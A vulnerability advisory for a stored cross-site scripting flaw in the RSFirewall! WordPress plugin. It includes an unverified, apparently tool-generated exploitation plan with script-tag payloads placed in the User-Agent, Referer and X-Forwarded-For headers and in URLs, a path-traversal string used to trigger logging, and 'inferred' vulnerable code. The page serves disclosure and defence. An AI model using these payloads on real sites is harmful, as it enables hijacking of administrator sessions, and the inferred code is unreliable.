CVE-2026-25341

RSFirewall! <= 1.1.45 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.1.46
Patched in
4d
Time to patch

Description

The RSFirewall! plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.45 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.45
PublishedMarch 23, 2026
Last updatedMarch 26, 2026
Affected pluginrsfirewall
Research Plan
Unverified

This research plan targets **CVE-2026-25341**, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the RSFirewall! plugin for WordPress. ### 1. Vulnerability Summary RSFirewall! is a security plugin designed to protect WordPress sites by monitoring requests and logging potential t…

Show full research plan

This research plan targets CVE-2026-25341, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the RSFirewall! plugin for WordPress.

1. Vulnerability Summary

RSFirewall! is a security plugin designed to protect WordPress sites by monitoring requests and logging potential threats. The vulnerability exists in the plugin's logging mechanism. When RSFirewall! detects a "security event" (like a blocked request or a 404 error it's configured to monitor), it captures metadata about the request—such as the User-Agent, URL, or IP address—and stores it in the database.

Because this data is not properly sanitized before storage or escaped before being displayed in the administrative dashboard (System Logs), an unauthenticated attacker can inject arbitrary JavaScript into these logs. When an administrator views the logs to investigate security events, the payload executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: Any public-facing WordPress URL (the plugin monitors all traffic).
  • Vulnerable Parameter: HTTP_USER_AGENT, REQUEST_URI, or specific HTTP headers (e.g., X-Forwarded-For).
  • Authentication: None required (Unauthenticated).
  • Preconditions: RSFirewall! must be active and configured to log the specific event type triggered by the attacker (default settings usually log "threats" or blocked requests).

3. Code Flow (Inferred)

  1. Entry Point: The plugin hooks into plugins_loaded or init to initialize its firewall component (likely in rsfirewall.php).
  2. Detection: The firewall evaluates the current request. If the request matches a signature or triggers a 404 (if 404 monitoring is on), it proceeds to log the event.
  3. Storage (Sink): The plugin calls a logging function (e.g., RSFirewallLog::add()) which extracts values from $_SERVER.
  4. Database Injection: The raw User-Agent or Request-URI is inserted into the {wp_prefix}rsfirewall_logs table.
  5. Rendering (Vulnerable Sink): An administrator accesses the plugin's log page (e.g., wp-admin/admin.php?page=rsfirewall&view=logs).
  6. Execution: The log table is rendered. The stored malicious string is echoed without using esc_html() or wp_kses(), triggering the XSS.

4. Nonce Acquisition Strategy

This vulnerability is Unauthenticated and triggered via the plugin's passive monitoring. Therefore, no WordPress nonce is required to perform the injection. The attacker is not calling an AJAX or REST endpoint; they are simply making a standard web request that the plugin chooses to log.

5. Exploitation Strategy

The goal is to force the plugin to log a request containing a malicious User-Agent.

Step 1: Injection (The Attack)
Send a request to the WordPress home page with a crafted User-Agent. We will also include a "suspicious" query parameter to ensure the firewall decides to log the request as a "threat."

  • Tool: http_request
  • Method: GET
  • URL: http://localhost:8080/?s=../../../etc/passwd (The Directory Traversal attempt ensures the firewall logs it).
  • Headers:
    • User-Agent: <script>alert("CVE-2026-25341_XSS")</script>
    • Content-Type: text/html

Step 2: Trigger (Admin Interaction)
Log in as an administrator and navigate to the RSFirewall! log view.

  • Tool: browser_navigate
  • URL: http://localhost:8080/wp-admin/admin.php?page=rsfirewall&view=logs (Verify the exact view name in the plugin menu).

6. Test Data Setup

  1. Install Plugin: Ensure RSFirewall! version 1.1.45 is installed and activated.
  2. Plugin Configuration: No special configuration is usually needed, but ensuring "Log security events" is enabled (default) is critical.
  3. Target URL: Use the site root or any 404 page.

7. Expected Results

  1. The http_request should return a 200 or 403 (if blocked).
  2. Upon navigating to the logs page as Admin, a JavaScript alert box with CVE-2026-25341_XSS should appear.
  3. If the alert doesn't show, inspecting the page source should reveal the raw <script> tag inside a <td> or <span> element within the log table.

8. Verification Steps

After the http_request, use WP-CLI to confirm the payload is in the database:

# Check the RSFirewall logs table (table name inferred)
wp db query "SELECT * FROM wp_rsfirewall_logs ORDER BY id DESC LIMIT 1;"

Look for the <script> payload in the user_agent or log_data columns.

9. Alternative Approaches

If the User-Agent is sanitized, try injecting via the URL or other headers:

Alternative A: URL Injection

# Attempt to inject via the request URI
http_request --url "http://localhost:8080/index.php?<script>alert(1)</script>=blockme"

Alternative B: Referer Injection

# Attempt to inject via the Referer header
http_request --url "http://localhost:8080/?test=log_this" --headers '{"Referer": "<script>alert(2)</script>"}'

Alternative C: X-Forwarded-For
Some firewalls log the originating IP. If they don't validate the IP format:

http_request --url "http://localhost:8080/" --headers '{"X-Forwarded-For": "<script>alert(3)</script>"}'

If a simple alert() is not visible, use a canary string like RSF_VULN_TEST and check if it appears in the HTML source without being converted to &lt;RSF_VULN_TEST&gt;.

Research Findings
Static analysis — not yet PoC-verified

Summary

RSFirewall! up to version 1.1.45 is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via its security logging mechanism. When the plugin detects a threat or a 404 error, it logs metadata such as the User-Agent and Request URI without proper sanitization, which are then rendered unescaped in the administrative dashboard, allowing for remote code execution in an administrator's browser.

Vulnerable Code

// Inferred from research plan code flow
// Logging logic (e.g., in an event listener for firewall triggers)
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$request_uri = $_SERVER['REQUEST_URI'];

// Sink: Insertion into database without sanitization
$wpdb->insert($table_prefix . 'rsfirewall_logs', array(
    'user_agent' => $user_agent,
    'url'        => $request_uri,
    'log_date'   => current_time('mysql')
));

---

// Display logic (e.g., in the admin log viewer)
// Rendering the logs without output escaping
foreach ($logs as $log) {
    echo '<td>' . $log->user_agent . '</td>'; // Vulnerable Sink
    echo '<td>' . $log->url . '</td>';        // Vulnerable Sink
}

Security Fix

--- a/admin/views/logs.php
+++ b/admin/views/logs.php
@@ -10,8 +10,8 @@
 <?php foreach ($logs as $log) : ?>
     <tr>
-        <td><?php echo $log->user_agent; ?></td>
-        <td><?php echo $log->url; ?></td>
+        <td><?php echo esc_html($log->user_agent); ?></td>
+        <td><?php echo esc_html($log->url); ?></td>
         <td><?php echo esc_html($log->log_date); ?></td>
     </tr>
 <?php endforeach; ?>

Exploit Outline

The exploit involves triggering the plugin's logging mechanism with a malicious payload in a monitored HTTP header or the URL. 1. Target Endpoint: Any public URL on the WordPress site. 2. Payload Placement: Inject a JavaScript payload (e.g., <script>alert(1)</script>) into the User-Agent header or the Referer header. 3. Triggering the Log: The request must be perceived as a 'threat' or a monitored event (e.g., by appending a path traversal sequence like /?s=../../../etc/passwd to the URL) to ensure RSFirewall! records the metadata into the database. 4. Authentication: No authentication is required for the initial injection. 5. Execution: An administrator must navigate to the 'System Logs' view in the RSFirewall! menu within the WordPress dashboard. When the log table renders, the stored payload executes in the administrator's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.